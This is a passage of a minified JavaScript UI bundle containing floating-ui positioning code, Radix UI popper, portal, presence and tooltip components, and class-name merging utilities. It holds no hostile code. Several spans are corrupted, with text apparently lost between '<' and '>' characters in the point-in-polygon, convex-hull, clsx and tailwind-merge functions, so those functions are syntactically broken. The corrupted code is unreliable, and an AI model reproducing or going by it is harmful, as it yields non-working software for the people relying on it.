y=c&&!m&&!l?DM(c,f):zr(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-f.scrollLeft*h.x+p.x+y.x,y:n.y*h.y-f.scrollTop*h.y+p.y+y.y}}function z8(e){return Array.from(e.getClientRects())}function $8(e){const t=Kr(e),n=Nh(e),r=e.ownerDocument.body,i=zn(t.scrollWidth,t.clientWidth,r.scrollWidth,r.clientWidth),l=zn(t.scrollHeight,t.clientHeight,r.scrollHeight,r.clientHeight);let c=-n.scrollLeft+Mh(e);const u=-n.scrollTop;return Er(r).direction==="rtl"&&(c+=zn(t.clientWidth,r.clientWidth)-i),{width:i,height:l,x:c,y:u}}const ZA=25;function B8(e,t){const n=Un(e),r=Kr(e),i=n.visualViewport;let l=r.clientWidth,c=r.clientHeight,u=0,f=0;if(i){l=i.width,c=i.height;const p=Db();(!p||p&&t==="fixed")&&(u=i.offsetLeft,f=i.offsetTop)}const h=Mh(r);if(h<=0){const p=r.ownerDocument,m=p.body,y=getComputedStyle(m),x=p.compatMode==="CSS1Compat"&&parseFloat(y.marginLeft)+parseFloat(y.marginRight)||0,S=Math.abs(r.clientWidth-m.clientWidth-x);S<=ZA&&(l-=S)}else h<=ZA&&(l+=h);return{width:l,height:c,x:u,y:f}}const U8=new Set(["absolute","fixed"]);function H8(e,t){const n=io(e,!0,t==="fixed"),r=n.top+e.clientTop,i=n.left+e.clientLeft,l=Br(e)?Cl(e):zr(1),c=e.clientWidth*l.x,u=e.clientHeight*l.y,f=i*l.x,h=r*l.y;return{width:c,height:u,x:f,y:h}}function QA(e,t,n){let r;if(t==="viewport")r=B8(e,n);else if(t==="document")r=$8(Kr(e));else if(Or(t))r=H8(t,n);else{const i=RM(e);r={x:t.x-i.x,y:t.y-i.y,width:t.width,height:t.height}}return Od(r)}function kM(e,t){const n=wi(e);return n===t||!Or(n)||jl(n)?!1:Er(n).position==="fixed"||kM(n,t)}function q8(e,t){const n=t.get(e);if(n)return n;let r=Sc(e,[],!1).filter(u=>Or(u)&&ql(u)!=="body"),i=null;const l=Er(e).position==="fixed";let c=l?wi(e):e;for(;Or(c)&&!jl(c);){const u=Er(c),f=Rb(c);!f&&u.position==="fixed"&&(i=null),(l?!f&&!i:!f&&u.position==="static"&&!!i&&U8.has(i.position)||qc(c)&&!f&&kM(e,c))?r=r.filter(p=>p!==c):i=u,c=wi(c)}return t.set(e,r),r}function F8(e){let{element:t,boundary:n,rootBoundary:r,strategy:i}=e;const c=[...n==="clippingAncestors"?Th(t)?[]:q8(t,this._c):[].concat(n),r],u=c[0],f=c.reduce((h,p)=>{const m=QA(t,p,i);return h.top=zn(m.top,h.top),h.right=xi(m.right,h.right),h.bottom=xi(m.bottom,h.bottom),h.left=zn(m.left,h.left),h},QA(t,u,i));return{width:f.right-f.left,height:f.bottom-f.top,x:f.left,y:f.top}}function V8(e){const{width:t,height:n}=PM(e);return{width:t,height:n}}function K8(e,t,n){const r=Br(t),i=Kr(t),l=n==="fixed",c=io(e,!0,l,t);let u={scrollLeft:0,scrollTop:0};const f=zr(0);function h(){f.x=Mh(i)}if(r||!r&&!l)if((ql(t)!=="body"||qc(i))&&(u=Nh(t)),r){const x=io(t,!0,l,t);f.x=x.x+t.clientLeft,f.y=x.y+t.clientTop}else i&&h();l&&!r&&i&&h();const p=i&&!r&&!l?DM(i,u):zr(0),m=c.left+u.scrollLeft-f.x-p.x,y=c.top+u.scrollTop-f.y-p.y;return{x:m,y,width:c.width,height:c.height}}function vg(e){return Er(e).position==="static"}function JA(e,t){if(!Br(e)||Er(e).position==="fixed")return null;if(t)return t(e);let n=e.offsetParent;return Kr(e)===n&&(n=n.ownerDocument.body),n}function LM(e,t){const n=Un(e);if(Th(e))return n;if(!Br(e)){let i=wi(e);for(;i&&!jl(i);){if(Or(i)&&!vg(i))return i;i=wi(i)}return n}let r=JA(e,t);for(;r&&T8(r)&&vg(r);)r=JA(r,t);return r&&jl(r)&&vg(r)&&!Rb(r)?n:r||R8(e)||n}const Y8=async function(e){const t=this.getOffsetParent||LM,n=this.getDimensions,r=await n(e.floating);return{reference:K8(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function G8(e){return Er(e).direction==="rtl"}const W8={convertOffsetParentRelativeRectToViewportRelativeRect:I8,getDocumentElement:Kr,getClippingRect:F8,getOffsetParent:LM,getElementRects:Y8,getClientRects:z8,getDimensions:V8,getScale:Cl,isElement:Or,isRTL:G8};function IM(e,t){return e.x===t.x&&e.y===t.y&&e.width===t.width&&e.height===t.height}function X8(e,t){let n=null,r;const i=Kr(e);function l(){var u;clearTimeout(r),(u=n)==null||u.disconnect(),n=null}function c(u,f){u===void 0&&(u=!1),f===void 0&&(f=1),l();const h=e.getBoundingClientRect(),{left:p,top:m,width:y,height:x}=h;if(u||t(),!y||!x)return;const S=If(m),w=If(i.clientWidth-(p+y)),O=If(i.clientHeight-(m+x)),A=If(p),T={rootMargin:-S+"px "+-w+"px "+-O+"px "+-A+"px",threshold:zn(0,xi(1,f))||1};let j=!0;function M(P){const R=P[0].intersectionRatio;if(R!==f){if(!j)return c();R?c(!1,R):r=setTimeout(()=>{c(!1,1e-7)},1e3)}R===1&&!IM(h,e.getBoundingClientRect())&&c(),j=!1}try{n=new IntersectionObserver(M,{...T,root:i.ownerDocument})}catch{n=new IntersectionObserver(M,T)}n.observe(e)}return c(!0),l}function Z8(e,t,n,r){r===void 0&&(r={});const{ancestorScroll:i=!0,ancestorResize:l=!0,elementResize:c=typeof ResizeObserver=="function",layoutShift:u=typeof IntersectionObserver=="function",animationFrame:f=!1}=r,h=kb(e),p=i||l?[...h?Sc(h):[],...Sc(t)]:[];p.forEach(A=>{i&&A.addEventListener("scroll",n,{passive:!0}),l&&A.addEventListener("resize",n)});const m=h&&u?X8(h,n):null;let y=-1,x=null;c&&(x=new ResizeObserver(A=>{let[_]=A;_&&_.target===h&&x&&(x.unobserve(t),cancelAnimationFrame(y),y=requestAnimationFrame(()=>{var T;(T=x)==null||T.observe(t)})),n()}),h&&!f&&x.observe(h),x.observe(t));let S,w=f?io(e):null;f&&O();function O(){const A=io(e);w&&!IM(w,A)&&n(),w=A,S=requestAnimationFrame(O)}return n(),()=>{var A;p.forEach(_=>{i&&_.removeEventListener("scroll",n),l&&_.removeEventListener("resize",n)}),m?.(),(A=x)==null||A.disconnect(),x=null,f&&cancelAnimationFrame(S)}}const Q8=S8,J8=O8,eU=b8,tU=A8,nU=x8,eC=y8,rU=E8,aU=(e,t,n)=>{const r=new Map,i={platform:W8,...n},l={...i.platform,_c:r};return g8(e,t,{...i,platform:l})};var iU=typeof document<"u",oU=function(){},sd=iU?v.useLayoutEffect:oU;function Ed(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e=="function"&&e.toString()===t.toString())return!0;let n,r,i;if(e&&t&&typeof e=="object"){if(Array.isArray(e)){if(n=e.length,n!==t.length)return!1;for(r=n;r--!==0;)if(!Ed(e[r],t[r]))return!1;return!0}if(i=Object.keys(e),n=i.length,n!==Object.keys(t).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(t,i[r]))return!1;for(r=n;r--!==0;){const l=i[r];if(!(l==="_owner"&&e.$$typeof)&&!Ed(e[l],t[l]))return!1}return!0}return e!==e&&t!==t}function zM(e){return typeof window>"u"?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function tC(e,t){const n=zM(e);return Math.round(t*n)/n}function gg(e){const t=v.useRef(e);return sd(()=>{t.current=e}),t}function lU(e){e===void 0&&(e={});const{placement:t="bottom",strategy:n="absolute",middleware:r=[],platform:i,elements:{reference:l,floating:c}={},transform:u=!0,whileElementsMounted:f,open:h}=e,[p,m]=v.useState({x:0,y:0,strategy:n,placement:t,middlewareData:{},isPositioned:!1}),[y,x]=v.useState(r);Ed(y,r)||x(r);const[S,w]=v.useState(null),[O,A]=v.useState(null),_=v.useCallback($=>{$!==P.current&&(P.current=$,w($))},[]),T=v.useCallback($=>{$!==R.current&&(R.current=$,A($))},[]),j=l||S,M=c||O,P=v.useRef(null),R=v.useRef(null),I=v.useRef(p),B=f!=null,q=gg(f),U=gg(i),V=gg(h),oe=v.useCallback(()=>{if(!P.current||!R.current)return;const $={placement:t,strategy:n,middleware:y};U.current&&($.platform=U.current),aU(P.current,R.current,$).then(Z=>{const de={...Z,isPositioned:V.current!==!1};le.current&&!Ed(I.current,de)&&(I.current=de,wo.flushSync(()=>{m(de)}))})},[y,t,n,U,V]);sd(()=>{h===!1&&I.current.isPositioned&&(I.current.isPositioned=!1,m($=>({...$,isPositioned:!1})))},[h]);const le=v.useRef(!1);sd(()=>(le.current=!0,()=>{le.current=!1}),[]),sd(()=>{if(j&&(P.current=j),M&&(R.current=M),j&&M){if(q.current)return q.current(j,M,oe);oe()}},[j,M,oe,q,B]);const ce=v.useMemo(()=>({reference:P,floating:R,setReference:_,setFloating:T}),[_,T]),L=v.useMemo(()=>({reference:j,floating:M}),[j,M]),F=v.useMemo(()=>{const $={position:n,left:0,top:0};if(!L.floating)return $;const Z=tC(L.floating,p.x),de=tC(L.floating,p.y);return u?{...$,transform:"translate("+Z+"px, "+de+"px)",...zM(L.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:Z,top:de}},[n,u,L.floating,p.x,p.y]);return v.useMemo(()=>({...p,update:oe,refs:ce,elements:L,floatingStyles:F}),[p,oe,ce,L,F])}const sU=e=>{function t(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:e,fn(n){const{element:r,padding:i}=typeof e=="function"?e(n):e;return r&&t(r)?r.current!=null?eC({element:r.current,padding:i}).fn(n):{}:r?eC({element:r,padding:i}).fn(n):{}}}},cU=(e,t)=>({...Q8(e),options:[e,t]}),uU=(e,t)=>({...J8(e),options:[e,t]}),fU=(e,t)=>({...rU(e),options:[e,t]}),dU=(e,t)=>({...eU(e),options:[e,t]}),hU=(e,t)=>({...tU(e),options:[e,t]}),pU=(e,t)=>({...nU(e),options:[e,t]}),mU=(e,t)=>({...sU(e),options:[e,t]});var vU="Arrow",$M=v.forwardRef((e,t)=>{const{children:n,width:r=10,height:i=5,...l}=e;return E.jsx(Ce.svg,{...l,ref:t,width:r,height:i,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:e.asChild?n:E.jsx("polygon",{points:"0,0 30,0 15,10"})})});$M.displayName=vU;var gU=$M;function BM(e){const[t,n]=v.useState(void 0);return Ft(()=>{if(e){n({width:e.offsetWidth,height:e.offsetHeight});const r=new ResizeObserver(i=>{if(!Array.isArray(i)||!i.length)return;const l=i[0];let c,u;if("borderBoxSize"in l){const f=l.borderBoxSize,h=Array.isArray(f)?f[0]:f;c=h.inlineSize,u=h.blockSize}else c=e.offsetWidth,u=e.offsetHeight;n({width:c,height:u})});return r.observe(e,{box:"border-box"}),()=>r.unobserve(e)}else n(void 0)},[e]),t}var Lb="Popper",[UM,Fl]=Fn(Lb),[yU,HM]=UM(Lb),qM=e=>{const{__scopePopper:t,children:n}=e,[r,i]=v.useState(null);return E.jsx(yU,{scope:t,anchor:r,onAnchorChange:i,children:n})};qM.displayName=Lb;var FM="PopperAnchor",VM=v.forwardRef((e,t)=>{const{__scopePopper:n,virtualRef:r,...i}=e,l=HM(FM,n),c=v.useRef(null),u=De(t,c),f=v.useRef(null);return v.useEffect(()=>{const h=f.current;f.current=r?.current||c.current,h!==f.current&&l.onAnchorChange(f.current)}),r?null:E.jsx(Ce.div,{...i,ref:u})});VM.displayName=FM;var Ib="PopperContent",[bU,xU]=UM(Ib),KM=v.forwardRef((e,t)=>{const{__scopePopper:n,side:r="bottom",sideOffset:i=0,align:l="center",alignOffset:c=0,arrowPadding:u=0,avoidCollisions:f=!0,collisionBoundary:h=[],collisionPadding:p=0,sticky:m="partial",hideWhenDetached:y=!1,updatePositionStrategy:x="optimized",onPlaced:S,...w}=e,O=HM(Ib,n),[A,_]=v.useState(null),T=De(t,ee=>_(ee)),[j,M]=v.useState(null),P=BM(j),R=P?.width??0,I=P?.height??0,B=r+(l!=="center"?"-"+l:""),q=typeof p=="number"?p:{top:0,right:0,bottom:0,left:0,...p},U=Array.isArray(h)?h:[h],V=U.length>0,oe={padding:q,boundary:U.filter(SU),altBoundary:V},{refs:le,floatingStyles:ce,placement:L,isPositioned:F,middlewareData:$}=lU({strategy:"fixed",placement:B,whileElementsMounted:(...ee)=>Z8(...ee,{animationFrame:x==="always"}),elements:{reference:O.anchor},middleware:[cU({mainAxis:i+I,alignmentAxis:c}),f&&uU({mainAxis:!0,crossAxis:!1,limiter:m==="partial"?fU():void 0,...oe}),f&&dU({...oe}),hU({...oe,apply:({elements:ee,rects:_e,availableWidth:Q,availableHeight:fe})=>{const{width:he,height:ne}=_e.reference,Ke=ee.floating.style;Ke.setProperty("--radix-popper-available-width",`${Q}px`),Ke.setProperty("--radix-popper-available-height",`${fe}px`),Ke.setProperty("--radix-popper-anchor-width",`${he}px`),Ke.setProperty("--radix-popper-anchor-height",`${ne}px`)}}),j&&mU({element:j,padding:u}),OU({arrowWidth:R,arrowHeight:I}),y&&pU({strategy:"referenceHidden",...oe})]}),[Z,de]=WM(L),D=en(S);Ft(()=>{F&&D?.()},[F,D]);const X=$.arrow?.x,ae=$.arrow?.y,se=$.arrow?.centerOffset!==0,[me,xe]=v.useState();return Ft(()=>{A&&xe(window.getComputedStyle(A).zIndex)},[A]),E.jsx("div",{ref:le.setFloating,"data-radix-popper-content-wrapper":"",style:{...ce,transform:F?ce.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:me,"--radix-popper-transform-origin":[$.transformOrigin?.x,$.transformOrigin?.y].join(" "),...$.hide?.referenceHidden&&{visibility:"hidden",pointerEvents:"none"}},dir:e.dir,children:E.jsx(bU,{scope:n,placedSide:Z,onArrowChange:M,arrowX:X,arrowY:ae,shouldHideArrow:se,children:E.jsx(Ce.div,{"data-side":Z,"data-align":de,...w,ref:T,style:{...w.style,animation:F?void 0:"none"}})})})});KM.displayName=Ib;var YM="PopperArrow",wU={top:"bottom",right:"left",bottom:"top",left:"right"},GM=v.forwardRef(function(t,n){const{__scopePopper:r,...i}=t,l=xU(YM,r),c=wU[l.placedSide];return E.jsx("span",{ref:l.onArrowChange,style:{position:"absolute",left:l.arrowX,top:l.arrowY,[c]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[l.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[l.placedSide],visibility:l.shouldHideArrow?"hidden":void 0},children:E.jsx(gU,{...i,ref:n,style:{...i.style,display:"block"}})})});GM.displayName=YM;function SU(e){return e!==null}var OU=e=>({name:"transformOrigin",options:e,fn(t){const{placement:n,rects:r,middlewareData:i}=t,c=i.arrow?.centerOffset!==0,u=c?0:e.arrowWidth,f=c?0:e.arrowHeight,[h,p]=WM(n),m={start:"0%",center:"50%",end:"100%"}[p],y=(i.arrow?.x??0)+u/2,x=(i.arrow?.y??0)+f/2;let S="",w="";return h==="bottom"?(S=c?m:`${y}px`,w=`${-f}px`):h==="top"?(S=c?m:`${y}px`,w=`${r.floating.height+f}px`):h==="right"?(S=`${-f}px`,w=c?m:`${x}px`):h==="left"&&(S=`${r.floating.width+f}px`,w=c?m:`${x}px`),{data:{x:S,y:w}}}});function WM(e){const[t,n="center"]=e.split("-");return[t,n]}var zb=qM,$b=VM,Bb=KM,Ub=GM,EU="Portal",Fc=v.forwardRef((e,t)=>{const{container:n,...r}=e,[i,l]=v.useState(!1);Ft(()=>l(!0),[]);const c=n||i&&globalThis?.document?.body;return c?HB.createPortal(E.jsx(Ce.div,{...r,ref:t}),c):null});Fc.displayName=EU;function AU(e,t){return v.useReducer((n,r)=>t[n][r]??n,e)}var ln=e=>{const{present:t,children:n}=e,r=CU(t),i=typeof n=="function"?n({present:r.isPresent}):v.Children.only(n),l=De(r.ref,_U(i));return typeof n=="function"||r.isPresent?v.cloneElement(i,{ref:l}):null};ln.displayName="Presence";function CU(e){const[t,n]=v.useState(),r=v.useRef(null),i=v.useRef(e),l=v.useRef("none"),c=e?"mounted":"unmounted",[u,f]=AU(c,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return v.useEffect(()=>{const h=zf(r.current);l.current=u==="mounted"?h:"none"},[u]),Ft(()=>{const h=r.current,p=i.current;if(p!==e){const y=l.current,x=zf(h);e?f("MOUNT"):x==="none"||h?.display==="none"?f("UNMOUNT"):f(p&&y!==x?"ANIMATION_OUT":"UNMOUNT"),i.current=e}},[e,f]),Ft(()=>{if(t){let h;const p=t.ownerDocument.defaultView??window,m=x=>{const w=zf(r.current).includes(CSS.escape(x.animationName));if(x.target===t&&w&&(f("ANIMATION_END"),!i.current)){const O=t.style.animationFillMode;t.style.animationFillMode="forwards",h=p.setTimeout(()=>{t.style.animationFillMode==="forwards"&&(t.style.animationFillMode=O)})}},y=x=>{x.target===t&&(l.current=zf(r.current))};return t.addEventListener("animationstart",y),t.addEventListener("animationcancel",m),t.addEventListener("animationend",m),()=>{p.clearTimeout(h),t.removeEventListener("animationstart",y),t.removeEventListener("animationcancel",m),t.removeEventListener("animationend",m)}}else f("ANIMATION_END")},[t,f]),{isPresent:["mounted","unmountSuspended"].includes(u),ref:v.useCallback(h=>{r.current=h?getComputedStyle(h):null,n(h)},[])}}function zf(e){return e?.animationName||"none"}function _U(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var TU=Symbol("radix.slottable");function NU(e){const t=({children:n})=>E.jsx(E.Fragment,{children:n});return t.displayName=`${e}.Slottable`,t.__radixId=TU,t}var MU=Eh[" useInsertionEffect ".trim().toString()]||Ft;function Oa({prop:e,defaultProp:t,onChange:n=()=>{},caller:r}){const[i,l,c]=jU({defaultProp:t,onChange:n}),u=e!==void 0,f=u?e:i;{const p=v.useRef(e!==void 0);v.useEffect(()=>{const m=p.current;m!==u&&console.warn(`${r} is changing from ${m?"controlled":"uncontrolled"} to ${u?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),p.current=u},[u,r])}const h=v.useCallback(p=>{if(u){const m=PU(p)?p(e):p;m!==e&&c.current?.(m)}else l(p)},[u,e,l,c]);return[f,h]}function jU({defaultProp:e,onChange:t}){const[n,r]=v.useState(e),i=v.useRef(n),l=v.useRef(t);return MU(()=>{l.current=t},[t]),v.useEffect(()=>{i.current!==n&&(l.current?.(n),i.current=n)},[n,i]),[n,r,l]}function PU(e){return typeof e=="function"}var XM=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),RU="VisuallyHidden",ZM=v.forwardRef((e,t)=>E.jsx(Ce.span,{...e,ref:t,style:{...XM,...e.style}}));ZM.displayName=RU;var DU=ZM,[jh]=Fn("Tooltip",[Fl]),Ph=Fl(),QM="TooltipProvider",kU=700,p0="tooltip.open",[LU,Hb]=jh(QM),JM=e=>{const{__scopeTooltip:t,delayDuration:n=kU,skipDelayDuration:r=300,disableHoverableContent:i=!1,children:l}=e,c=v.useRef(!0),u=v.useRef(!1),f=v.useRef(0);return v.useEffect(()=>{const h=f.current;return()=>window.clearTimeout(h)},[]),E.jsx(LU,{scope:t,isOpenDelayedRef:c,delayDuration:n,onOpen:v.useCallback(()=>{window.clearTimeout(f.current),c.current=!1},[]),onClose:v.useCallback(()=>{window.clearTimeout(f.current),f.current=window.setTimeout(()=>c.current=!0,r)},[r]),isPointerInTransitRef:u,onPointerInTransitChange:v.useCallback(h=>{u.current=h},[]),disableHoverableContent:i,children:l})};JM.displayName=QM;var Oc="Tooltip",[IU,Vc]=jh(Oc),ej=e=>{const{__scopeTooltip:t,children:n,open:r,defaultOpen:i,onOpenChange:l,disableHoverableContent:c,delayDuration:u}=e,f=Hb(Oc,e.__scopeTooltip),h=Ph(t),[p,m]=v.useState(null),y=sr(),x=v.useRef(0),S=c??f.disableHoverableContent,w=u??f.delayDuration,O=v.useRef(!1),[A,_]=Oa({prop:r,defaultProp:i??!1,onChange:R=>{R?(f.onOpen(),document.dispatchEvent(new CustomEvent(p0))):f.onClose(),l?.(R)},caller:Oc}),T=v.useMemo(()=>A?O.current?"delayed-open":"instant-open":"closed",[A]),j=v.useCallback(()=>{window.clearTimeout(x.current),x.current=0,O.current=!1,_(!0)},[_]),M=v.useCallback(()=>{window.clearTimeout(x.current),x.current=0,_(!1)},[_]),P=v.useCallback(()=>{window.clearTimeout(x.current),x.current=window.setTimeout(()=>{O.current=!0,_(!0),x.current=0},w)},[w,_]);return v.useEffect(()=>()=>{x.current&&(window.clearTimeout(x.current),x.current=0)},[]),E.jsx(zb,{...h,children:E.jsx(IU,{scope:t,contentId:y,open:A,stateAttribute:T,trigger:p,onTriggerChange:m,onTriggerEnter:v.useCallback(()=>{f.isOpenDelayedRef.current?P():j()},[f.isOpenDelayedRef,P,j]),onTriggerLeave:v.useCallback(()=>{S?M():(window.clearTimeout(x.current),x.current=0)},[M,S]),onOpen:j,onClose:M,disableHoverableContent:S,children:n})})};ej.displayName=Oc;var m0="TooltipTrigger",tj=v.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,i=Vc(m0,n),l=Hb(m0,n),c=Ph(n),u=v.useRef(null),f=De(t,u,i.onTriggerChange),h=v.useRef(!1),p=v.useRef(!1),m=v.useCallback(()=>h.current=!1,[]);return v.useEffect(()=>()=>document.removeEventListener("pointerup",m),[m]),E.jsx($b,{asChild:!0,...c,children:E.jsx(Ce.button,{"aria-describedby":i.open?i.contentId:void 0,"data-state":i.stateAttribute,...r,ref:f,onPointerMove:ue(e.onPointerMove,y=>{y.pointerType!=="touch"&&!p.current&&!l.isPointerInTransitRef.current&&(i.onTriggerEnter(),p.current=!0)}),onPointerLeave:ue(e.onPointerLeave,()=>{i.onTriggerLeave(),p.current=!1}),onPointerDown:ue(e.onPointerDown,()=>{i.open&&i.onClose(),h.current=!0,document.addEventListener("pointerup",m,{once:!0})}),onFocus:ue(e.onFocus,()=>{h.current||i.onOpen()}),onBlur:ue(e.onBlur,i.onClose),onClick:ue(e.onClick,i.onClose)})})});tj.displayName=m0;var qb="TooltipPortal",[zU,$U]=jh(qb,{forceMount:void 0}),nj=e=>{const{__scopeTooltip:t,forceMount:n,children:r,container:i}=e,l=Vc(qb,t);return E.jsx(zU,{scope:t,forceMount:n,children:E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:r})})})};nj.displayName=qb;var Pl="TooltipContent",rj=v.forwardRef((e,t)=>{const n=$U(Pl,e.__scopeTooltip),{forceMount:r=n.forceMount,side:i="top",...l}=e,c=Vc(Pl,e.__scopeTooltip);return E.jsx(ln,{present:r||c.open,children:c.disableHoverableContent?E.jsx(aj,{side:i,...l,ref:t}):E.jsx(BU,{side:i,...l,ref:t})})}),BU=v.forwardRef((e,t)=>{const n=Vc(Pl,e.__scopeTooltip),r=Hb(Pl,e.__scopeTooltip),i=v.useRef(null),l=De(t,i),[c,u]=v.useState(null),{trigger:f,onClose:h}=n,p=i.current,{onPointerInTransitChange:m}=r,y=v.useCallback(()=>{u(null),m(!1)},[m]),x=v.useCallback((S,w)=>{const O=S.currentTarget,A={x:S.clientX,y:S.clientY},_=VU(A,O.getBoundingClientRect()),T=KU(A,_),j=YU(w.getBoundingClientRect()),M=WU([...T,...j]);u(M),m(!0)},[m]);return v.useEffect(()=>()=>y(),[y]),v.useEffect(()=>{if(f&&p){const S=O=>x(O,p),w=O=>x(O,f);return f.addEventListener("pointerleave",S),p.addEventListener("pointerleave",w),()=>{f.removeEventListener("pointerleave",S),p.removeEventListener("pointerleave",w)}}},[f,p,x,y]),v.useEffect(()=>{if(c){const S=w=>{const O=w.target,A={x:w.clientX,y:w.clientY},_=f?.contains(O)||p?.contains(O),T=!GU(A,c);_?y():T&&(y(),h())};return document.addEventListener("pointermove",S),()=>document.removeEventListener("pointermove",S)}},[f,p,c,h,y]),E.jsx(aj,{...e,ref:l})}),[UU,HU]=jh(Oc,{isInside:!1}),qU=NU("TooltipContent"),aj=v.forwardRef((e,t)=>{const{__scopeTooltip:n,children:r,"aria-label":i,onEscapeKeyDown:l,onPointerDownOutside:c,...u}=e,f=Vc(Pl,n),h=Ph(n),{onClose:p}=f;return v.useEffect(()=>(document.addEventListener(p0,p),()=>document.removeEventListener(p0,p)),[p]),v.useEffect(()=>{if(f.trigger){const m=y=>{y.target?.contains(f.trigger)&&p()};return window.addEventListener("scroll",m,{capture:!0}),()=>window.removeEventListener("scroll",m,{capture:!0})}},[f.trigger,p]),E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:!1,onEscapeKeyDown:l,onPointerDownOutside:c,onFocusOutside:m=>m.preventDefault(),onDismiss:p,children:E.jsxs(Bb,{"data-state":f.stateAttribute,...h,...u,ref:t,style:{...u.style,"--radix-tooltip-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-tooltip-content-available-width":"var(--radix-popper-available-width)","--radix-tooltip-content-available-height":"var(--radix-popper-available-height)","--radix-tooltip-trigger-width":"var(--radix-popper-anchor-width)","--radix-tooltip-trigger-height":"var(--radix-popper-anchor-height)"},children:[E.jsx(qU,{children:r}),E.jsx(UU,{scope:n,isInside:!0,children:E.jsx(DU,{id:f.contentId,role:"tooltip",children:i||r})})]})})});rj.displayName=Pl;var ij="TooltipArrow",FU=v.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,i=Ph(n);return HU(ij,n).isInside?null:E.jsx(Ub,{...i,...r,ref:t})});FU.displayName=ij;function VU(e,t){const n=Math.abs(t.top-e.y),r=Math.abs(t.bottom-e.y),i=Math.abs(t.right-e.x),l=Math.abs(t.left-e.x);switch(Math.min(n,r,i,l)){case l:return"left";case i:return"right";case n:return"top";case r:return"bottom";default:throw new Error("unreachable")}}function KU(e,t,n=5){const r=[];switch(t){case"top":r.push({x:e.x-n,y:e.y+n},{x:e.x+n,y:e.y+n});break;case"bottom":r.push({x:e.x-n,y:e.y-n},{x:e.x+n,y:e.y-n});break;case"left":r.push({x:e.x+n,y:e.y-n},{x:e.x+n,y:e.y+n});break;case"right":r.push({x:e.x-n,y:e.y-n},{x:e.x-n,y:e.y+n});break}return r}function YU(e){const{top:t,right:n,bottom:r,left:i}=e;return[{x:i,y:t},{x:n,y:t},{x:n,y:r},{x:i,y:r}]}function GU(e,t){const{x:n,y:r}=e;let i=!1;for(let l=0,c=t.length-1;lr!=y>r&&n<(m-h)*(r-p)/(y-p)+h&&(i=!i)}return i}function WU(e){const t=e.slice();return t.sort((n,r)=>n.xr.x?1:n.yr.y?1:0),XU(t)}function XU(e){if(e.length<=1)return e.slice();const t=[];for(let r=0;r=2;){const l=t[t.length-1],c=t[t.length-2];if((l.x-c.x)*(i.y-c.y)>=(l.y-c.y)*(i.x-c.x))t.pop();else break}t.push(i)}t.pop();const n=[];for(let r=e.length-1;r>=0;r--){const i=e[r];for(;n.length>=2;){const l=n[n.length-1],c=n[n.length-2];if((l.x-c.x)*(i.y-c.y)>=(l.y-c.y)*(i.x-c.x))n.pop();else break}n.push(i)}return n.pop(),t.length===1&&n.length===1&&t[0].x===n[0].x&&t[0].y===n[0].y?t:t.concat(n)}var ZU=JM,QU=ej,JU=tj,eH=nj,oj=rj;function lj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{const n=new Array(e.length+t.length);for(let r=0;r({classGroupId:e,validator:t}),sj=(e=new Map,t=null,n)=>({nextPart:e,validators:t,classGroupId:n}),Ad="-",nC=[],rH="arbitrary..",aH=e=>{const t=oH(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;return{getClassGroupId:c=>{if(c.startsWith("[")&&c.endsWith("]"))return iH(c);const u=c.split(Ad),f=u[0]===""&&u.length>1?1:0;return cj(u,f,t)},getConflictingClassGroupIds:(c,u)=>{if(u){const f=r[c],h=n[c];return f?h?tH(h,f):f:h||nC}return n[c]||nC}}},cj=(e,t,n)=>{if(e.length-t===0)return n.classGroupId;const i=e[t],l=n.nextPart.get(i);if(l){const h=cj(e,t+1,l);if(h)return h}const c=n.validators;if(c===null)return;const u=t===0?e.join(Ad):e.slice(t).join(Ad),f=c.length;for(let h=0;he.slice(1,-1).indexOf(":")===-1?void 0:(()=>{const t=e.slice(1,-1),n=t.indexOf(":"),r=t.slice(0,n);return r?rH+r:void 0})(),oH=e=>{const{theme:t,classGroups:n}=e;return lH(n,t)},lH=(e,t)=>{const n=sj();for(const r in e){const i=e[r];Fb(i,n,r,t)}return n},Fb=(e,t,n,r)=>{const i=e.length;for(let l=0;l{if(typeof e=="string"){cH(e,t,n);return}if(typeof e=="function"){uH(e,t,n,r);return}fH(e,t,n,r)},cH=(e,t,n)=>{const r=e===""?t:uj(t,e);r.classGroupId=n},uH=(e,t,n,r)=>{if(dH(e)){Fb(e(r),t,n,r);return}t.validators===null&&(t.validators=[]),t.validators.push(nH(n,e))},fH=(e,t,n,r)=>{const i=Object.entries(e),l=i.length;for(let c=0;c{let n=e;const r=t.split(Ad),i=r.length;for(let l=0;l"isThemeGetter"in 